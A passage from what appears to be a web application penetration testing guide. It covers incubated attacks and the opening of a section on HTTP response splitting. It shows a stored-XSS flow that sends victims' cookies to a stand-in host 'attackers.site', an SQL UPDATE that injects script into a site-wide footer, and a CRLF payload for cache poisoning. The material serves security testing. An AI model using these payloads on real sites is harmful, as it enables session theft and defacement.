1BO4r2U

149 150
Web Application Penetration Testing
Web Application Penetration Testing
in a web page. For example, if the attacker can post arbitrary
JavaScript in a bulletin board so that it gets executed by users, then
he might take control of their browsers (e.g., XSS-proxy).
• Misconfigured servers allowing installation of Java packages or
similar web site components (i.e. Tomcat, or web hosting consoles
such as Plesk, CPanel, Helm, etc.)
How to Test
Black Box testing
File Upload Example
Verify the content type allowed to upload to the web application and
the resultant URL for the uploaded file. Upload a file that will exploit
a component in the local user workstation when viewed or downloaded
by the user. Send your victim an email or other kind of alert in
order to lead him/her to browse the page. The expected result is the
exploit will be triggered when the user browses the resultant page
or downloads and executes the file from the trusted site.
XSS Example on a Bulletin Board
[1] Introduce JavaScript code as the value for the vulnerable field,
for instance:
document.write(‘’)
[2] Direct users to browse the vulnerable page or wait for the users
to browse it. Have a “listener” at attackers.site host listening
for all incoming connections.
[3] When users browse the vulnerable page, a request containing
their cookie (document.cookie is included as part of the requested
URL) will be sent to the attackers.site host, such as the following:
- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSION-
ID=ROGUEIDVALUE;
%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https:/vulnerable.site/site/;
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1
[4] Use cookies obtained to impersonate users at the vulnerable site.
SQL Injection Example
Usually, this set of examples leverages XSS attacks by exploiting a
SQL-injection vulnerability. The first thing to test is whether the target
site has a SQL injection vulnerability. This is described in Section
4.2 Testing for SQL Injection. For each SQL-injection vulnerability,
there is an underlying set of constraints describing the kind of queries
that the attacker/pen-tester is allowed to do.
The tester then has to match the XSS attacks he has devised with
the entries that he is allowed to insert.
[1] In a similar fashion as in the previous XSS example, use a web
page field vulnerable to SQL injection issues to change a value in the
database that would be used by the application as input to be shown
at the site without proper filtering (this would be a combination of an
SQL injection and a XSS issue). For instance, let’s suppose there is a
footer table at the database with all footers for the web site pages,
including a notice field with the legal notice that appears at the bottom
of each web page. You could use the following query to inject
JavaScript code to the notice field at the footer table in the database.
SELECT field1, field2, field3
FROM table_x
WHERE field2 = ‘x’;
UPDATE footer
SET notice = ‘Copyright 1999-2030%20
document.write(\’\’)’
WHERE notice = ‘Copyright 1999-2030’;
[2] Now, each user browsing the site will silently send his cookies
to the attackers.site (steps b.2 to b.4).
Misconfigured Server
Some web servers present an administration interface that may
allow an attacker to upload active components of her choice to
the site. This could be the case with an Apache Tomcat server that
doesn’t enforce strong credentials to access its Web Application
Manager (or if the pen testers have been able to obtain valid credentials
for the administration module by other means).
In this case, a WAR file can be uploaded and a new web application
deployed at the site, which will not only allow the pen tester to
execute code of her choice locally at the server, but also to plant
an application at the trusted site, which the site regular users can
then access (most probably with a higher degree of trust than
when accessing a different site).
As should also be obvious, the ability to change web page contents
at the server, via any vulnerabilities that may be exploitable
at the host which will give the attacker webroot write permissions,
will also be useful towards planting such an incubated attack on
the web server pages (actually, this is a known infection-spread
method for some web server worms).
Gray Box testing
Gray/white testing techniques will be the same as previously discussed.
• Examining input validation is key in mitigating against this
vulnerability. If other systems in the enterprise use the same
persistence layer they may have weak input validation and the
data may be persisited via a “back door”.
• To combat the “back door” issue for client side attacks, output
validation must also be employed so tainted data shall be
encoded prior to displaying to the client, and hence not execute.
• See the Data Validation section of the Code review guide.
Tools
• XSS-proxy - http://sourceforge.net/projects/xss-proxy
• Paros - http://www.parosproxy.org/index.shtml
• Burp Suite - http://portswigger.net/burp/proxy.html
• Metasploit - http://www.metasploit.com/
References
Most of the references from the Cross-site scripting section are valid.
As explained above, incubated attacks are executed when combining
exploits such as XSS or SQL-injection attacks.
Advisories
• CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in
Client Web Requests - http://www.cert.org/advisories/CA-2000-
02.html
• Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site
scripting vulnerability - http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html
Whitepapers
• Web Application Security Consortium “Threat Classification,
Cross-site scripting” - http://www.webappsec.org/projects/threat/
classes/cross-site_scripting.shtml
Testing for HTTP Splitting/Smuggling
(OTG-INPVAL-016)
Summary
This section illustrates examples of attacks that leverage specific
features of the HTTP protocol, either by exploiting weaknesses of
the web application or peculiarities in the way different agents interpret
HTTP messages.
This section will analyze two different attacks that target specific
HTTP headers:
• HTTP splitting
• HTTP smuggling
The first attack exploits a lack of input sanitization which allows an
intruder to insert CR and LF characters into the headers of the application
response and to ‘split’ that answer into two different HTTP
messages. The goal of the attack can vary from a cache poisoning to
cross site scripting.
In the second attack, the attacker exploits the fact that some specially
crafted HTTP messages can be parsed and interpreted in different
ways depending on the agent that receives them. HTTP smuggling
requires some level of knowledge about the different agents that are
handling the HTTP messages (web server, proxy, firewall) and therefore
will be included only in the Gray Box testing section.
How to Test
Black Box testing
HTTP Splitting
Some web applications use part of the user input to generate the
values of some headers of their responses. The most straightforward
example is provided by redirections in which the target URL
depends on some user-submitted value. Let’s say for instance that
the user is asked to choose whether he/she prefers a standard or
advanced web interface. The choice will be passed as a parameter
that will be used in the response header to trigger the redirection to
the corresponding page.
More specifically, if the parameter ‘interface’ has the value ‘ad-
vanced’, the application will answer with the following:
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http:/victim.com/main.jsp?interface=advanced
When receiving this message, the browser will bring the user to
the page indicated in the Location header. However, if the application
does not filter the user input, it will be possible to insert in the
‘interface’ parameter the sequence %0d%0a, which represents the
CRLF sequence that is used to separate different lines. At this point,
testers will be able to trigger a response that will be interpreted as
two different responses by anybody who happens to parse it, for instance
a web cache sitting between us and the application. This can
be leveraged by an attacker to poison this web cache so that it will
provide false content in all subsequent requests.
Let’s say that in the previous example the tester passes the following
data as the interface parameter:
advanced%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-Length:%20
35%0d%0a%0d%0aSorry,%20System%20Down
The resulting answer from the vulnerable application will therefore
be the following:
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http:/victim.com/main.jsp?interface=advanced
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35
Sorry,%20System%20Down
The web cache will see two different responses, so if the attacker
sends, immediately after the first request, a second one asking for
/index.html, the web cache will match this request with the second
response and cache its content, so that all subsequent requests directed
to victim.com/index.html passing through that web cache will
receive the “system down” message. In this way, an attacker would
be able to effectively deface the site for all users using that web
cache (the whole Internet, if the web cache is a reverse proxy for the
web application).
Alternatively, the attacker could pass to those users a JavaScript
snippet that mounts a cross site scripting attack, e.g., to steal the
cookies. Note that while the vulnerability is in the application, the
target here is its users. Therefore, in order to look for this vulnerabil-